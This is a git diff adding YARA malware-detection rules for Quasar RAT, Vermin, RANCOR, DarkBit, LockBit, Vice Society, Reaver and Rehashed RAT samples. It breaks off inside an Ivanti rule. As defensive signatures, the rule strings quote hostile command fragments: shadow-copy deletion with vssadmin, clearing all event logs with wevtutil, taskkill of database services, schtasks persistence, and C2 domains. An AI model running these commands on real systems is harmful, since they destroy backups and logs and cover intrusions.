diff --git a/yara-Neo23x0/apt_quasar_vermin.yar b/yara-Neo23x0/apt_quasar_vermin.yar
new file mode 100644
index 0000000..e84b73b
--- /dev/null
+++ b/yara-Neo23x0/apt_quasar_vermin.yar
@@ -0,0 +1,71 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-01-29
+   Identifier: Vermin Keylogger and Quasar RAT
+   Reference: https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Quasar_RAT_Jan18_1 {
+   meta:
+      description = "Detects Quasar RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
+      date = "2018-01-29"
+      hash1 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
+      hash2 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
+      id = "52408897-bfec-5726-9d01-6ff982d50c28"
+   strings:
+      $a1 = "ping -n 20 localhost > nul" fullword wide
+
+      $s2 = "HandleDownloadAndExecuteCommand" fullword ascii
+      $s3 = "DownloadAndExecute" fullword ascii
+      $s4 = "UploadAndExecute" fullword ascii
+      $s5 = "ShellCommandResponse" fullword ascii
+      $s6 = "Select * From Win32_ComputerSystem" fullword wide
+      $s7 = "Process could not be started!" fullword wide
+      $s8 = ".Core.RemoteShell" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 600KB and $a1 and 3 of them
+}
+
+rule Vermin_Keylogger_Jan18_1 {
+   meta:
+      description = "Detects Vermin Keylogger"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
+      date = "2018-01-29"
+      hash1 = "74ba162eef84bf13d1d79cb26192a4692c09fed57f321230ddb7668a88e3935d"
+      hash2 = "e1d917769267302d58a2fd00bc49d4aee5a472227a75f9366b46ce243e9cbef7"
+      hash3 = "0157b43eb3c20928b77f8700ad8eb279a0aa348921df074cd22ebaff01edaae6"
+      hash4 = "4c5e019e0e55a3fe378aa339d52c235c06ecc5053625a5d54d65c4ae38c6e3da"
+      hash5 = "24956d8edcf2a1fd26805ec58cfd1ee7498e1a59af8cc2f4b832a7ab34948c18"
+      hash6 = "2963c5eacaad13ace807edd634a4a5896cb5536f961f43afcf8c1f25c08a5eef"
+      id = "52192ea1-bb3d-52da-ba18-0645262745e2"
+   strings:
+      $x1 = "_keyloggerTaskDescription" ascii
+      $x2 = "_keyloggerTaskAuthor" ascii
+      $x3 = "GetKeyloggerLogsResponse" fullword ascii
+      $x4 = "GetKeyloggerLogs" fullword ascii
+      $x5 = "ExecuteUninstallKeyLoggerTask" fullword ascii
+      $x6 = "ExecuteInstallKeyLoggerTask" fullword ascii
+      $x7 = ":\\Projects\\Vermin\\KeyboardHookLib\\" ascii
+      $x8 = ":\\Projects\\Vermin\\CryptoLib\\" ascii
+
+      $s1 = "<RunHidden>k__BackingField" fullword ascii
+      $s2 = "set_SystemInfos" fullword ascii
+      $s3 = "set_RunHidden" fullword ascii
+      $s4 = "set_RemotePath" fullword ascii
+      $s5 = "ExecuteShellCommandTask" fullword ascii
+      $s6 = "Client.exe" fullword wide
+      $s7 = "xClient.Core.ReverseProxy.Packets" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 800KB and (
+        1 of ($x*) or
+        3 of them
+      )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_rancor.yar b/yara-Neo23x0/apt_rancor.yar
new file mode 100644
index 0000000..a7af80c
--- /dev/null
+++ b/yara-Neo23x0/apt_rancor.yar
@@ -0,0 +1,75 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2018-06-26
+   Identifier: RANCOR
+   Reference: https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+import "pe"
+
+rule APT_RANCOR_JS_Malware {
+   meta:
+      description = "Rancor Malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+      date = "2018-06-26"
+      hash1 = "1dc5966572e94afc2fbcf8e93e3382eef4e4d7b5bc02f24069c403a28fa6a458"
+      id = "83dd9567-199e-511c-8c9a-96422bd793e7"
+   strings:
+      $x1 = ",0,0 >%SystemRoot%\\system32\\spool\\drivers\\color\\fb.vbs\",0,0" fullword ascii
+      $x2 = "CreateObject(\"Wscript.Shell\").Run \"explorer.exe \"\"http" ascii
+      $x3 = "CreateObject(\"Wscript.Shell\").Run \"schtasks /create" ascii
+   condition:
+      uint16(0) == 0x533c and filesize < 1KB and 1 of them
+}
+
+rule APT_RANCOR_PLAINTEE_Variant {
+   meta:
+      description = "Detects PLAINTEE malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+      date = "2018-06-26"
+      hash1 = "6aad1408a72e7adc88c2e60631a6eee3d77f18a70e4eee868623588612efdd31"
+      hash2 = "bcd37f1d625772c162350e5383903fe8dbed341ebf0dc38035be5078624c039e"
+      id = "f5b68079-0517-504d-a45f-f6ced532db82"
+   strings:
+      $s1 = "payload.dat" fullword ascii
+      $s3 = "temp_microsoft_test.txt" fullword ascii
+      $s4 = "reg add %s /v %s /t REG_SZ /d \"%s\"" fullword ascii
+      $s6 = "%s %s,helloworld2" fullword ascii
+      $s9 = "%s \\\"%s\\\",helloworld" fullword ascii
+      $s16 = "recv plugin type %s size:%d" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and 3 of them
+}
+
+rule APT_RANCOR_PLAINTEE_Malware_Exports {
+   meta:
+      description = "Detects PLAINTEE malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+      date = "2018-06-26"
+      hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
+      id = "fa1e678d-8357-522b-9167-31321ab7753f"
+   condition:
+      uint16(0) == 0x5a4d and pe.exports("Add") and pe.exports("Sub") and pe.exports("DllEntryPoint") and pe.number_of_exports == 3
+}
+
+rule APT_RANCOR_DDKONG_Malware_Exports {
+   meta:
+      description = "Detects DDKONG malware"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
+      date = "2018-06-26"
+      hash1 = "c35609822e6239934606a99cb3dbc925f4768f0b0654d6a2adc35eca473c505d"
+      id = "c94d4ea2-7c16-5003-98ea-253f8a2d01d1"
+   condition:
+      uint16(0) == 0x5a4d and pe.exports("ServiceMain") and pe.exports("Rundll32Call") and pe.exports("DllEntryPoint") and pe.number_of_exports == 3
+}
diff --git a/yara-Neo23x0/apt_ransom_darkbit_feb23.yar b/yara-Neo23x0/apt_ransom_darkbit_feb23.yar
new file mode 100644
index 0000000..b4254ab
--- /dev/null
+++ b/yara-Neo23x0/apt_ransom_darkbit_feb23.yar
@@ -0,0 +1,45 @@
+
+rule MAL_RANSOM_DarkBit_Feb23_1 {
+   meta:
+      description = "Detects indicators found in DarkBit ransomware"
+      author = "Florian Roth"
+      reference = "https://twitter.com/idonaor1/status/1624703255770005506?s=12&t=mxHaauzwR6YOj5Px8cIeIw"
+      date = "2023-02-13"
+      score = 75
+      id = "d209a0c2-f649-5fb1-9ecd-f1c35caa796f"
+   strings:
+      $s1 = ".onion" ascii
+      $s2 = "GetMOTWHostUrl"
+
+      $x1 = "hus31m7c7ad.onion"
+      $x2 = "iw6v2p3cruy"
+      $xn1 = "You will receive decrypting key after the payment."
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 10MB and (
+         1 of ($x*) or 2 of them
+      ) or 4 of them
+      or ( filesize < 10MB and $xn1 ) // Ransom note
+}
+
+rule MAL_RANSOM_DarkBit_Feb23_2 {
+   meta:
+      description = "Detects Go based DarkBit ransomware (garbled code; could trigger on other obfuscated samples, too)"
+      author = "Florian Roth"
+      reference = "https://www.hybrid-analysis.com/sample/9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff?environmentId=160"
+      date = "2023-02-13"
+      score = 75
+      hash1 = "9107be160f7b639d68fe3670de58ed254d81de6aec9a41ad58d91aa814a247ff"
+      id = "f530815c-68e7-55f1-8e36-bc74a1059584"
+   strings:
+      $s1 = "runtime.initLongPathSupport" ascii fullword
+      $s2 = "reflect." ascii
+      $s3 = "    \"processes\": []," ascii fullword
+      $s4 = "^!* %!(!" ascii fullword
+
+      $op1 = { 4d 8b b6 00 00 00 00 48 8b 94 24 40 05 00 00 31 c0 87 82 30 03 00 00 b8 01 00 00 00 f0 0f c1 82 00 03 00 00 48 8b 44 24 48 48 8b 0d ba 1f 32 00 }
+      $op2 = { 49 8d 49 01 0f 1f 00 48 39 d9 7c e2 b9 0b 00 00 00 49 89 d8 e9 28 fc ff ff e8 89 6c d7 ff }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 20000KB and all of them
+}
diff --git a/yara-Neo23x0/apt_ransom_lockbit_citrixbleed_nov23.yar b/yara-Neo23x0/apt_ransom_lockbit_citrixbleed_nov23.yar
new file mode 100644
index 0000000..3d61f3a
--- /dev/null
+++ b/yara-Neo23x0/apt_ransom_lockbit_citrixbleed_nov23.yar
@@ -0,0 +1,86 @@
+rule MAL_Backdoor_DLL_Nov23_1 {
+   meta:
+      author = "X__Junior"
+      description = "Detects a backdoor DLL, that was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+      date = "2023-11-23"
+      hash1 = "cc21c77e1ee7e916c9c48194fad083b2d4b2023df703e544ffb2d6a0bfc90a63"
+      hash2 = "0eb66eebb9b4d671f759fb2e8b239e8a6ab193a732da8583e6e8721a2670a96d"
+      score = 80
+      id = "3588d437-b561-5380-8dac-73a31f4cdb5a"
+   strings:
+      $s1 = "ERROR GET INTERVAL" ascii
+      $s2 = "OFF HIDDEN MODE" ascii
+      $s3 = "commandMod:" ascii
+      $s4 = "RESULT:" ascii
+
+      $op1 = { C7 44 24 ?? 01 00 00 00 C7 84 24 ?? ?? ?? ?? FF FF FF FF 83 7C 24 ?? 00 74 ?? 83 BC 24 ?? ?? ?? ?? 00 74 ?? 4C 8D 8C 24 ?? ?? ?? ?? 41 B8 00 04 00 00 48 8D 94 24 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 }
+      $op2 = { 48 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 00 00 00 00 C7 44 24 ?? 03 00 00 00 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8D 0D ?? ?? ?? ?? 44 0F B7 05 ?? ?? ?? ?? 48 8B D0 48 8B 4C 24 ?? FF 15 }
+   condition:
+      uint16(0) == 0x5a4d
+      and ( all of ($s*) or all of ($op*) )
+}
+
+rule MAL_Trojan_DLL_Nov23 {
+   meta:
+      author = "X__Junior"
+      description = "Detects a trojan DLL that installs other components - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+      date = "2023-11-23"
+      hash1 = "e557e1440e394537cca71ed3d61372106c3c70eb6ef9f07521768f23a0974068"
+      score = 80
+      id = "1dd87d0a-2b8b-5386-8fdd-40d184c731a4"
+   strings:
+      $op1 = { C7 84 24 ?? ?? ?? ?? 52 70 63 53 C7 84 24 ?? ?? ?? ?? 74 72 69 6E C7 84 24 ?? ?? ?? ?? 67 42 69 6E C7 84 24 ?? ?? ?? ?? 64 69 6E 67 C7 84 24 ?? ?? ?? ?? 43 6F 6D 70 C7 84 24 ?? ?? ?? ?? 6F 73 65 41 C7 84 24 ?? ?? ?? ?? 00 40 01 01 }
+      $op2 = { C7 84 24 ?? ?? ?? ?? 6C 73 61 73 C7 84 24 ?? ?? ?? ?? 73 70 69 72 66 C7 84 24 ?? ?? 00 00 70 63 }
+      $op3 = { C7 84 24 ?? ?? ?? ?? 4E 64 72 43 C7 84 24 ?? ?? ?? ?? 6C 69 65 6E C7 84 24 ?? ?? ?? ?? 74 43 61 6C C7 84 24 ?? ?? ?? ?? 6C 33 00 8D }
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+rule MAL_DLL_Stealer_Nov23 {
+   meta:
+      author = "X__Junior"
+      description = "Detects a DLL that steals authentication credentials - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+      date = "2023-11-23"
+      hash1 = "17a27b1759f10d1f6f1f51a11c0efea550e2075c2c394259af4d3f855bbcc994"
+      score = 80
+      id = "9cfed8ec-1d04-53d7-88ef-2576075cfc33"
+   strings:
+      $op1 = { C7 45 ?? 4D 69 6E 69 C7 45 ?? 44 75 6D 70 C7 45 ?? 57 72 69 74 C7 45 ?? 65 44 75 6D C7 45 ?? 70 00 27 00 C7 45 ?? 44 00 62 00 C7 45 ?? 67 00 68 00 C7 45 ?? 65 00 6C 00 C7 45 ?? 70 00 2E 00 C7 45 ?? 64 00 6C 00 C7 45 ?? 6C 00 00 00}
+   condition:
+      uint16(0) == 0x5a4d and all of them
+}
+
+rule MAL_Python_Backdoor_Script_Nov23 {
+   meta:
+      author = "X__Junior"
+      description = "Detects a trojan (written in Python) that communicates with c2 - was seen being used by LockBit 3.0 affiliates exploiting CVE-2023-4966"
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+      date = "2023-11-23"
+      hash1 = "906602ea3c887af67bcb4531bbbb459d7c24a2efcb866bcb1e3b028a51f12ae6"
+      score = 80
+      id = "861f9ce3-3c54-5c56-b50b-2b7536783f6e"
+   strings:
+      $s1 = "port = 443 if \"https\"" ascii
+      $s2 = "winrm.Session basic error" ascii
+      $s3 = "Windwoscmd.run_cmd(str(cmd))" ascii
+   condition:
+      filesize < 50KB and all of them
+}
+
+rule APT_RANSOM_Lockbit_ForensicArtifacts_Nov23 {
+   meta:
+      description = "Detects patterns found in Lockbit TA attacks exploiting Citrixbleed vulnerability CVE 2023-4966"
+      author = "Florian Roth"
+      date = "2023-11-22"
+      score = 75
+      reference = "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a"
+      id = "04bde599-2a5b-5a33-a6f1-67d57a564946"
+   strings:
+      $x1 = "taskkill /f /im sqlwriter.exe /im winmysqladmin.exe /im w3sqlmgr.exe"
+      $x2 = " 1> \\\\127.0.0.1\\admin$\\__"
+   condition:
+      1 of ($x*)
+}
diff --git a/yara-Neo23x0/apt_ransom_vicesociety_dec22.yar b/yara-Neo23x0/apt_ransom_vicesociety_dec22.yar
new file mode 100644
index 0000000..49b041b
--- /dev/null
+++ b/yara-Neo23x0/apt_ransom_vicesociety_dec22.yar
@@ -0,0 +1,64 @@
+
+rule APT_MAL_RANSOM_ViceSociety_PolyVice_Jan23_1 {
+   meta:
+      description = "Detects NTRU-ChaChaPoly (PolyVice) malware used by Vice Society"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
+      date = "2023-01-12"
+      modified = "2023-01-13"
+      score = 75
+      hash1 = "326a159fc2e7f29ca1a4c9a64d45b76a4a072bc39ba864c49d804229c5f6d796"
+      hash2 = "8c8cb887b081e0d92856fb68a7df0dabf0b26ed8f0a6c8ed22d785e596ce87f4"
+      hash3 = "9d9e949ecd72d7a7c4ae9deae4c035dcae826260ff3b6e8a156240e28d7dbfef"
+      id = "e450407c-6c21-56bf-aedf-8e7f3890abe2"
+   strings:
+      $x1 = "C:\\Users\\root\\Desktop\\niX\\CB\\libntru\\" ascii
+      
+      $s1 = "C:\\Users\\root" ascii fullword
+      $s2 = "#DBG: target = %s" ascii fullword
+      $s3 = "# ./%s [-p <path>]/[-f <file> ] [-e <enc.extension>] [-m <requirements file name>]" ascii fullword
+      $s4 = "### ################# ###" ascii fullword
+
+      $op1 = { 89 ca 41 01 fa 89 ef 8b 6c 24 24 44 89 c9 09 d1 44 31 e6 89 c8 }
+      $op2 = { bd 02 00 00 00 29 cd 48 0f bf d1 8b 44 46 02 01 44 53 02 8d 54 0d 00 83 c1 02 48 0f bf c2 }
+      $op3 = { 48 29 c4 4c 8d 74 24 30 4c 89 f1 e8 46 3c 00 00 84 c0 41 89 c4 0f 85 2b 02 00 00 0f b7 45 f2 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and (
+         1 of ($x*) 
+         or 2 of them
+      ) or 4 of them
+}
+
+rule APT_MAL_RANSOM_ViceSociety_Chily_Jan23_1 {
+   meta:
+      description = "Detects Chily or SunnyDay malware used by Vice Society"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/"
+      date = "2023-01-12"
+      score = 80
+      hash1 = "4dabb914b8a29506e1eced1d0467c34107767f10fdefa08c40112b2e6fc32e41"
+      id = "1be4adb9-e60c-5023-9230-07f5fd16daaa"
+   strings:
+      $x1 = ".[Chily@Dr.Com]" ascii fullword
+
+      $s1 = "localbitcoins.com/buy_bitcoins'>https://localbitcoins.com/buy_bitcoins</a>" ascii fullword
+      $s2 = "C:\\Users\\root\\Desktop" ascii fullword
+      $s3 = "for /F \"tokens=*\" %1 in ('wevtutil.exe el') DO wevtutil.exe cl \"%1\"" wide fullword
+      $s4 = "cd %userprofile%\\documents\\" wide
+      $s5 = "noise.bmp" wide fullword
+      $s6 = " Execution time: %fms (1sec=1000ms)" ascii fullword
+      $s7 = "/c vssadmin.exe Delete Shadows /All /Quiet" wide fullword
+
+      $op1 = { 4c 89 c5 89 ce 89 0d f5 41 02 00 4c 89 cf 44 8d 04 49 0f af f2 89 15 e9 41 02 00 44 89 c0 }
+      $op2 = { 48 8b 03 48 89 d9 ff 50 10 84 c0 0f 94 c0 01 c0 48 83 c4 20 5b }
+      $op3 = { 31 c0 47 8d 2c 00 45 85 f6 4d 63 ed 0f 8e ec 00 00 00 0f 1f 80 00 00 00 00 0f b7 94 44 40 0c 00 00 83 c1 01 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 500KB and (
+         1 of ($x*)
+         or 3 of them
+      )
+      or 4 of them
+}
+
diff --git a/yara-Neo23x0/apt_reaver_sunorcal.yar b/yara-Neo23x0/apt_reaver_sunorcal.yar
new file mode 100644
index 0000000..33cde0a
--- /dev/null
+++ b/yara-Neo23x0/apt_reaver_sunorcal.yar
@@ -0,0 +1,104 @@
+
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-11-11
+   Identifier: SunOrcal
+   Reference: https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Reaver3_Malware_Nov17_1 {
+   meta:
+      description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+      date = "2017-11-11"
+      hash1 = "1813f10bcf74beb582c824c64fff63cb150d178bef93af81d875ca84214307a1"
+      id = "95419d6f-b657-53c4-840d-9a9e9b00787e"
+   strings:
+      $s1 = "CPL.dll" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 100KB and pe.imphash() == "e722dd50a0e2bc0cab8ca35fc4bf6d99" and all of them )
+}
+
+rule Reaver3_Malware_Nov17_2 {
+   meta:
+      description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+      date = "2017-11-11"
+      modified = "2023-01-06"
+      hash1 = "9213f70bce491991c4cbbbd7dc3e67d3a3d535b965d7064973b35c50f265e59b"
+      hash2 = "98eb5465c6330b9b49df2e7c9ad0b1164aa5b35423d9e80495a178eb510cdc1c"
+      id = "423ae050-5087-528e-be0a-c612024dc70a"
+   strings:
+      $x1 = "WindowsUpdateReaver" fullword wide
+
+      $s1 = "\\WUpdate.~tmp" ascii
+      $s2 = "\\~WUpdate.lnk" ascii
+      $s3 = "\\services\\" ascii
+      $s4 = "moomjufps" fullword ascii
+      $s5 = "gekmomkege" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and (
+         pe.imphash() == "837cc5062a0758335b257ea3b27972b2" or
+         1 of ($x*) or
+         3 of them
+      )
+}
+
+rule Reaver3_Malware_Nov17_3 {
+   meta:
+      description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+      date = "2017-11-11"
+      modified = "2023-01-06"
+      hash1 = "18ac3b14300ecfeed4b64a844c16dccb06b0e3513d0954d6c6182f2ea14e4c92"
+      hash2 = "c0f8bb77284b96e07cab1c3fab8800b1bbd030720c74628c4ee5666694ef903d"
+      hash3 = "c906250e0a4c457663e37119ebe1efa1e4b97eef1d975f383ac3243f9f09908c"
+      hash4 = "1fcda755e8fa23d27329e4bc0443a82e1c1e9a6c1691639db256a187365e4db1"
+      hash5 = "d560f44188fb56d3abb11d9508e1167329470de19b811163eb1167534722e666"
+      id = "cc2511a9-8938-5f4d-9802-f73e44609bf9"
+   strings:
+      $s1 = "winhelp.dat" fullword ascii
+      $s2 = "\\microsoft\\Credentials\\" ascii
+      $s3 = "~Update.lnk" fullword ascii
+      $s4 = "winhelp.cpl" fullword ascii
+      $s5 = "\\services\\" ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and (
+         pe.imphash() == "8ee521b2316ddd6af1679eac9f5ed77b" or
+         4 of them
+      )
+}
+
+rule SunOrcal_Malware_Nov17_1 {
+   meta:
+      description = "Detects Reaver malware mentioned in PaloAltoNetworks report"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
+      date = "2017-11-11"
+      hash1 = "cb7c0cf1750baaa11783e93369230ee666b9f3da7298e4d1bb9a07af6a439f2f"
+      hash2 = "799139b5278dc2ac24279cc6c3db44f4ef0ea78ee7b721b0ace38fd8018c51ac"
+      hash3 = "38ea33dab0ba2edd16ecd98cba161c550d1036b253c8666c4110d198948329fb"
+      id = "d8a21570-d1d6-52c3-abb2-ecaa86eb7ff0"
+   strings:
+      $x1 = "kQZ6l5t1kAlsjmBzsCZPrSpQn5tFrChLtTdsgTlOsClKt5pBsDdFrSVshnxMr6ZOpn9slndBsy1jq6lIr216rSNApn9P" fullword ascii
+      /* $x2 = "!!!system" fullword ascii - more specific: */
+      $x2 = { 00 00 00 00 00 00 00 00 00 00 00 00 21 21 21 73
+              79 73 74 65 6D 00 00 00 00 00 00 00 00 00 00 00 }
+      $x3 = "!!!url!!!" fullword ascii
+      $x4 = "h4NcbkdLrCpFpPQ=" fullword ascii
+      $x5 = "GloablCryptNv1" fullword ascii
+      $x6 = "Gloabl\\CryptNv1" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 200KB and 1 of them
+}
diff --git a/yara-Neo23x0/apt_rehashed_rat.yar b/yara-Neo23x0/apt_rehashed_rat.yar
new file mode 100644
index 0000000..d47b2da
--- /dev/null
+++ b/yara-Neo23x0/apt_rehashed_rat.yar
@@ -0,0 +1,85 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-09-08
+   Identifier: Rehashed RAT
+   Reference: https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations
+*/
+
+import "pe"
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Rehashed_RAT_1 {
+   meta:
+      description = "Detects malware from Rehashed RAT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+      date = "2017-09-08"
+      hash1 = "37bd97779e854ea2fc43486ddb831a5acfd19cf89f06823c9fd3b20134cb1c35"
+      id = "24536421-3f8f-58f3-8245-06c519d7a21a"
+   strings:
+      $x1 = "C:\\Users\\hoogle168\\Desktop\\"
+      $x2 = "\\NewCoreCtrl08\\Release\\NewCoreCtrl08.pdb" ascii
+
+      $s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729" ascii
+      $s2 = "NewCoreCtrl08.dll" fullword ascii
+      $s3 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
+      $s4 = "http://%s:%d/%s%s%s%s" fullword ascii
+      $s5 = "MyTmpFile.Dat" fullword wide
+      $s6 = "root\\%s" fullword wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 800KB and (
+            pe.imphash() == "893212784d01f11aed9ebb42ad2561fc" or
+            pe.exports("ProcessTrans") or
+            ( 1 of ($x*) or 4 of them )
+         )
+      ) or ( all of them )
+}
+
+rule Rehashed_RAT_2 {
+   meta:
+      description = "Detects malware from Rehashed RAT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+      date = "2017-09-08"
+      hash1 = "49efab1dedc6fffe5a8f980688a5ebefce1be3d0d180d5dd035f02ce396c9966"
+      id = "fcf82155-10da-56b7-879b-841c4ae5023b"
+   strings:
+      $x1 = "dalat.dulichovietnam.net" fullword ascii
+      $x2 = "web.Thoitietvietnam.org" fullword ascii
+
+      $a1 = "User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64)" fullword ascii
+      $a2 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3" ascii
+
+      $s1 = "GET /%s%s%s%s HTTP/1.1" fullword ascii
+      $s2 = "http://%s:%d/%s%s%s%s" fullword ascii
+      $s3 = "{521338B8-3378-58F7-AFB9-E7D35E683BF8}" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and
+        filesize < 300KB and (
+           pe.imphash() == "9c4c648f4a758cbbfe28c8850d82f931" or
+           ( 1 of ($x*) or 3 of them )
+        )
+      ) or ( 4 of them )
+}
+
+rule Rehashed_RAT_3 {
+   meta:
+      description = "Detects malware from Rehashed RAT incident"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.fortinet.com/2017/09/05/rehashed-rat-used-in-apt-campaign-against-vietnamese-organizations"
+      date = "2017-09-08"
+      modified = "2022-12-21"
+      hash1 = "9cebae97a067cd7c2be50d7fd8afe5e9cf935c11914a1ab5ff59e91c1e7e5fc4"
+      id = "59871be1-295f-54ee-ab4d-4f9e5fdc2935"
+   strings:
+      $x1 = "\\BisonNewHNStubDll\\Release\\Goopdate.pdb" ascii
+      $s2 = "psisrndrx.ebd" fullword wide
+      $s3 = "pbad exception" fullword ascii
+   condition:
+      uint16(0) == 0x5a4d and filesize < 100KB and ( 1 of ($x*) or 2 of them )
+}
diff --git a/yara-Neo23x0/apt_report_ivanti_mandiant_jan24.yar b/yara-Neo23x0/apt_report_ivanti_mandiant_jan24.yar
new file mode 100644
index 0000000..3ce4897
--- /dev/null
+++ b/yara-Neo23x0/apt_report_ivanti_mandiant_jan24.yar
@@ -0,0 +1,120 @@
+
+rule APT_UNC5221_Ivanti_ForensicArtifacts_Jan24_1 {
+   meta:
+      description = "Detects forensic artifacts found in the Ivanti VPN exploitation campaign by APT UNC5221"
+      author = "Florian Roth"
+      reference = "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"
+      date = "2024-01-11"
